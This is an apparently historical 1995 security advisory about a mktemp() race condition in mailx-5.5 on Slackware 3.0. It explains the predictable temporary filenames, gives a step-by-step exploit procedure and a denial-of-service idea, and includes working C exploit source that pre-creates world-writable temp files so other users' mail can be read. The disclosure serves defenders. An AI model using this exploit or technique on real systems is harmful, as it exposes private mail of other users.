mailx-5.5 (slackware /bin/mail) security hole

David J Meltzer (davem+@andrew.cmu.edu)
Fri, 22 Dec 1995 17:35:01 -0500

   There is a problem prevalent in the way many programs implement their
usage of mktemp() in order to create temporary files in /tmp, allowing users
on a machine to read and write to the contents of temporary files created.
   The basic problem is that there is a race condition that exists between
the point that a program calls mktemp(), and the pathname returned by mktemp
is actually created.  For some programs, the file creation is immediately
or almost immediately following the mktemp(), resulting in an extremely
small window of opportunity, and as a result making it very difficult to
exploit.  However, there are other programs that do not immediately open
the file, and in these cases it is only a matter of getting the timing
right in order to exploit the hole.
   To exploit this hole, simply create the file that mktemp() returns as
a valid temporary filename after mktemp() has been called, but before the
file has been opened, allowing the user running the program permissions to
read and write from that temporary file.  The program will then succeed in
an fopen, and will write to the file, oblivious to the fact that it didn't
actually create the file, and that others can also read and write from the
file.
   Note that most programs will immediately unlink() a temporary file, but
that does not delete it until after it is closed.  Closing a file results in
the contents of it being flushed, and so by using a 'tail -f' or a similar
procedure, you can capture the contents of the file before it is removed
from the filesystem.
   The filename returned by mktemp() is easily determined for most unix
platforms, allowing this bug to be exploited.  For the linux libc, this is
to replace the X's in the template with the leftmost digit starting at 'a',
and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file
already exists), and then replacing the rest of the X's with the process id
(0 padded).  Other operating systems use a variation of this technique,
experimentation easily reveals the algorithm.
   The generic procedure used to formulate an exploit for a particular program
with this bug is as follows:
          1. detect the execution of the program.
          2. determine the temporary filename that mktemp() will return
             when called by the program.
          3. determine the point at which mktemp() is called by the program,
             and immediately following that point, create the file, with
             rw permissions for the user who is running the program.
          4. read the contents of the temporary file, using a 'tail -f' or
             your own routines.

   Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers
from this mktemp() problem in all temporary files it creates.  It uses 5
temporary files with filenames generated during the program's initialization
in a tinit() function, and then uses them as it becomes necessary during the
program's execution.  The race condition begins in this tinit() function.
The temporary files that can be exploited are as follows:
   /tmp/ReXXXXXX
       Used when a user selects 'e' from the mailx command prompt, to edit
       mail.  The message the user has selected to edit is copied to the
       temporary file at this point, and then the editor is invoked on that
       temp file.  The race condition ends when the user has selected 'e',
       and allows the mesage being edited to be read.
   /tmp/RsXXXXXX
       Used when a user sends mail, usually from the command line, such as:
       'mail dave'.  The race condition ends when EOF is recieved from stdin,
       and the message is about to be sent, and allows the outgoing mail to
       be read.
   /tmp/RqXXXXXX
       Used when mail arrives into the mail spool while mail is currently
       running.  The race condition ends when the program is preparing to
       shutdown, and allows the new contents of the mail spool to be read.
   /tmp/RmXXXXXX
       Used to prepend a message to the user's mbox file.  Prepending
       requires the entire mbox contents to be read to the temporary file
       and then appened to the new message(s) being added to the file.
       This is disabled by default in Slackware 3.0 in the /etc/mail.rc
       by the use of the set append option.  For this to be useful, that
       option needs to be removed from /etc/mail.rc, or an unset append
       needs to be added to the user executing mail's .mailrc file.  The
       race condition ends when the program is preparing to shutdown
   /tmp/RxXXXXXX
       Used to read messages from the user's mail spool.  The race condition
       ends during the program's startup, when the mail spool is read, and
       allows any new mail in the user's spool to be read.  Because there
       is no user input between tinit() and this point, it is the only
       race condition that isn't completely trivial to exploit.

   The exploit that follows demonstrates the flaws in all but the final
temporary file.  To use, wait for a mail process to execute, then call the
mailbug program with the process id as an argument, and finally execute a
tail -f /tmp/R*, and let it run until the mail program has terminated
execution.  After it is over, remove the files you created in /tmp.
   As an aside, there are a number of programs that are vulnerable to a
directed denial of service attack preventing people from using them by
creation of the 62 temporary files that are attempted to be used by mktemp(),
resulting in the failure of the program to run.  By continous running of a
program watching for these vulnerable programs to start, they can be prevented
from ever successfully executing (one such example of this is in.pop3d, which
would allow a denial of service attack against a specific user from recieving
mail through pop).

                   Program: mailx-5.5 (/bin/mail)
Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5
              Requirements: account on system, user using /bin/mail
           Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else)
       Security Compromise: any user with an account can read incoming, edited,
                            or outgoing mail if the mail is processed by mailx.
                    Author: Dave M. (davem@cmu.edu)
                  Synopsis: The predictability of mktemp() is exploited to
                            create the temporary files after the filenames
                            have been determined but before they are actually
                            created, allowing the mail being dumped to those
                            temporary files to be read by the creator of the
                            files.

mailbug.c:
/* This program creates temporary files used by mailx (/bin/mail under
   Slackware 3.0), which can then be read by the program.  This will
   exploit 4 of the 5 temporary files, the final temporary file is a
   tighter race condition, and is not handled by this code.
   Following execution of this program with the process id of mail that
   is running, execute 'tail -f /tmp/R*', redirecting to a file if desired,
   and allow it to run until the mail process has exited.  This can be easily
   handled in a shell script, but is not included since it is not needed to
   sufficiently demonstrate the security flaw.

   Dave M. (davem@cmu.edu)
 */


#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void exploit_mktemp(char *dest, char *prepend, char *pid)
{
  int i;

  strcpy(dest,prepend);
  for(i=strlen(pid);i<6;i++)
    strcat(dest,"0");
  strcat(dest,pid);
  dest[strlen(prepend)] = 'a';
}


main(int argc, char **argv)
{
  char tmpf[5][80];    /* hold filename */

  umask(0);

  if(argc<2)
    {
      printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);
      return -1;
    }

  /* get mktemp filenames */
  exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);
  exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);
  exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);
  exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);


  /* create temporary files */
  creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
  creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);

}